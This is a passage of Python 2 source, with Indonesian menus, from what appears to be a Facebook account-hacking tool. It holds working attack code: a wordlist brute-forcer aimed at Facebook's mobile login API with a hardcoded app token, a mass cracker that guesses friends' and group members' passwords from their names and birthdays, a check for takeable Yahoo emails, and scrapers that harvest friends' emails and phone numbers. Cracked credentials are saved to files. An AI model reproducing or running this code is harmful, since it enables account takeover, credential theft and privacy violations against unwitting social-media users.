menu_hack() else: if 'www.facebook.com' in y['error_msg']: print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() else: print '\x1b[1;91m[!] Maaf, gagal membuka password target :(' print '\x1b[1;91m[!] Cobalah dengan cara lain.' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() except KeyError: print '\x1b[1;91m[!] Terget tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def crack(): global file global idlist global passw os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m') try: file = open(idlist, 'r') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') for x in range(40): zedd = threading.Thread(target=scrak, args=()) zedd.start() threads.append(zedd) for zedd in threads: zedd.join() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_hack() def scrak(): global back global berhasil global cekpoint global gagal global up try: buka = open(idlist, 'r') up = buka.read().split() while file: username = file.readline().strip() url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = urllib.urlopen(url) mpsh = json.load(data) if back == len(up): break if 'access_token' in mpsh: bisa = open('Berhasil.txt', 'w') bisa.write(username + ' | ' + passw + '\n') bisa.close() berhasil.append('\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: if 'www.facebook.com' in mpsh['error_msg']: cek = open('Cekpoint.txt', 'w') cek.write(username + ' | ' + passw + '\n') cek.close() cekpoint.append('\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw) back += 1 else: gagal.append(username) back += 1 sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint))) sys.stdout.flush() except IOError: print '\n\x1b[1;91m[!] Koneksi terganggu' time.sleep(1) except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' def hasil(): print print 40 * '\x1b[1;97m\xe2\x95\x90' for b in berhasil: print b for c in cekpoint: print c print print '\x1b[31m[x] Gagal \x1b[1;97m--> ' + str(len(gagal)) keluar() def super(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Crack dari daftar Teman' print '\x1b[1;37;40m2. Crack dari member Grup' print '\x1b[1;31;40m0. Kembali' print pilih_super() def pilih_super(): peak = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if peak == '': print '\x1b[1;91m[!] Jangan kosong' pilih_super() else: if peak == '1': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[+] \x1b[1;92mMengambil id teman \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) else: if peak == '2': os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) s = json.loads(re.text) for i in s['data']: id.append(i['id']) else: if peak == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada' pilih_super() print '\x1b[1;91m[+] \x1b[1;92mJumlah ID \x1b[1;91m: \x1b[1;97m' + str(len(id)) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') titik = ['. ', '.. ', '... '] for o in titik: print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) print print 40 * '\x1b[1;97m\xe2\x95\x90' def main(arg): user = arg try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass1 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass1 else: pass2 = b['first_name'] + '12345' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass2 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass2 else: pass3 = b['last_name'] + '123' data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass3 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass3 else: lahir = b['birthday'] pass4 = lahir.replace('/', '') data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') q = json.load(data) if 'access_token' in q: print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4 else: if 'www.facebook.com' in q['error_msg']: print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4 except: pass p = ThreadPool(30) p.map(main, id) print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') super() def brute(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' try: email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ') passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m') total = open(passw, 'r') total = total.readlines() print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[+] \x1b[1;92mJumlah\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') sandi = open(passw, 'r') for pw in sandi: try: pw = pw.replace('\n', '') sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mMencoba \x1b[1;97m' + pw) sys.stdout.flush() data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') mpsh = json.loads(data.text) if 'access_token' in mpsh: dapat = open('Brute.txt', 'w') dapat.write(email + ' | ' + pw + '\n') dapat.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() else: if 'www.facebook.com' in mpsh['error_msg']: ceks = open('Brutecekpoint.txt', 'w') ceks.write(email + ' | ' + pw + '\n') ceks.close() print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw keluar() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' time.sleep(1) except IOError: print '\x1b[1;91m[!] File tidak ditemukan...' print '\n\x1b[1;91m[!] \x1b[1;92mSepertinya kamu tidak memiliki wordlist' tanyaw() def tanyaw(): why = raw_input('\x1b[1;91m[?] \x1b[1;92mIngin membuat wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ') if why == '': print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() else: if why == 'y': wordlist() else: if why == 'Y': wordlist() else: if why == 't': menu_hack() else: if why == 'T': menu_hack() else: print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' tanyaw() def menu_yahoo(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Dari teman facebook' print '\x1b[1;37;40m2. Gunakan File' print '\x1b[1;31;40m0. Kembali' print yahoo_pilih() def yahoo_pilih(): go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if go == '': print '\x1b[1;91m[!] Jangan kosong' yahoo_pilih() else: if go == '1': yahoofriends() else: if go == '2': yahoolist() else: if go == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada' yahoo_pilih() def yahoofriends(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) kimak = json.loads(teman.text) save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' for w in kimak['data']: jml += 1 mpsh.append(jml) id = w['id'] nama = w['name'] links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) z = json.loads(links.text) try: mail = z['email'] yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + nama print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + id print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' except KeyError: pass print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def yahoolist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m') try: total = open(files, 'r') mail = total.readlines() except IOError: print '\x1b[1;91m[!] File tidak ada' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() mpsh = [] jml = 0 jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') save = open('MailVuln.txt', 'w') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m: \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m] Green[\x1b[1;92m' + vuln + '\x1b[1;97m]' print mail = open(files, 'r').readlines() for pw in mail: mail = pw.replace('\n', '') jml += 1 mpsh.append(jml) yahoo = re.compile('@.*') otw = yahoo.search(mail).group() if 'yahoo.com' in otw: br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') br._factory.is_html = True br.select_form(nr=0) br['username'] = mail klik = br.submit().read() jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') try: pek = jok.search(klik).group() except: print '\x1b[1;91m ' + mail continue if '"messages.ERROR_INVALID_USERNAME">' in pek: save.write(mail + '\n') print '\x1b[1;92m ' + mail else: print '\x1b[1;91m ' + mail print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' save.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_yahoo() def grab(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Ambil ID teman' print '\x1b[1;37;40m2. Ambil ID teman dari teman' print '\x1b[1;37;40m3. Ambil ID member GRUP' print '\x1b[1;37;40m4. Ambil Email teman' print '\x1b[1;37;40m5. Ambil Email teman dari teman' print '\x1b[1;37;40m6. Ambil No HP teman' print '\x1b[1;37;40m7. Ambil No HP teman dari teman' print '\x1b[1;31;40m0. Kembali' print grab_pilih() def grab_pilih(): cuih = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if cuih == '': print '\x1b[1;91m[!] Jangan kosong' grab_pilih() else: if cuih == '1': id_teman() else: if cuih == '2': idfrom_teman() else: if cuih == '3': id_member_grup() else: if cuih == '4': email() else: if cuih == '5': emailfrom_teman() else: if cuih == '6': nomor_hp() else: if cuih == '7': hpfrom_teman() else: if cuih == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mTidak ada' grab_pilih() def id_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_id, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['data']: idteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_id bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(save_id) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def idfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket) z = json.loads(r.text) save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_idt, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['friends']['data']: idfromteman.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_idt bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def id_member_grup(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mID grup \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') b = open(simg, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket) s = json.loads(re.text) for i in s['data']: idmem.append(i['id']) b.write(i['id'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + i['name'] print '\x1b[1;92mID \x1b[1;91m :\x1b[1;97m ' + i['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idmem) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + simg b.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(simg) print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def email(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: em.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(em) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(mails) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def emailfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: emfromteman.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(emfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def nomor_hp(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) 